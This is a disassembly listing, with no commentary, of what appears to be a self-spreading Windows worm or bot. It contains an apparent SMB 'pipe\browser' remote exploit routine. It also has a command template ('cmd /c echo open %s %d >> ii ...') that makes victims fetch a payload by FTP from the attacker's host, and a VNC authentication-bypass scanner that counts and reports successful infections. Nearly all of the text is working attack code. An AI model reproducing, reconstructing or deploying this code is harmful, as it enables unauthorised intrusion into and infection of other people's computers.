		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0D8h	; Ø
		db  29h	; )
		db  44h	; D
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27107FCh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57


loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_437B14
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_437B00
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DB34


loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		call	near ptr 267093Fh
		nop
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_437AA8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4D354C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------


loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_437AF7+1)


loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_437A9C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_437AA4[esi]
		push	7
		add	eax, edi
		push	offset dword_437A90
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_437930
		push	eax
		call	sub_41C310
		mov	eax, dword_437AA0[esi]
		add	esp, 30h
		cmp	byte_437AA8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4D3544
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_437AC0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------


loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_437AC0


loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8


loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 267093Fh
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------


loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77


loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax


loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 27009F1h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2690A97h
		cmp	eax, 3E5h
		jnz	loc_40DA50


loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26A0393h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1


loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------


loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]


loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  60h	; `
		db    5
		db  4Dh	; M
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  48h	; H
		db  7Bh	; {
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 2272E52h, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4D0560
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4


loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------


loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_436D0Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4D0864
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_437BBC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146


loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------


loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_436D10[eax]
		lea	eax, dword_436D10[eax]


loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax


loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4D083C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------


loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------


loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax


loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC


loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5


loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax


loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_438E00
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4D08A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4D0864
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4D0824
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx


loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4D08BC
		jmp	loc_40E46E
; ---------------------------------------------------------------------------


loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467


loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4D06DC
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch


loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_436D10[eax]
		push	ebx
		lea	eax, dword_436D10[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3564
		call	dword_4D083C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4D3560
		call	near ptr 2700000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4D3554
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
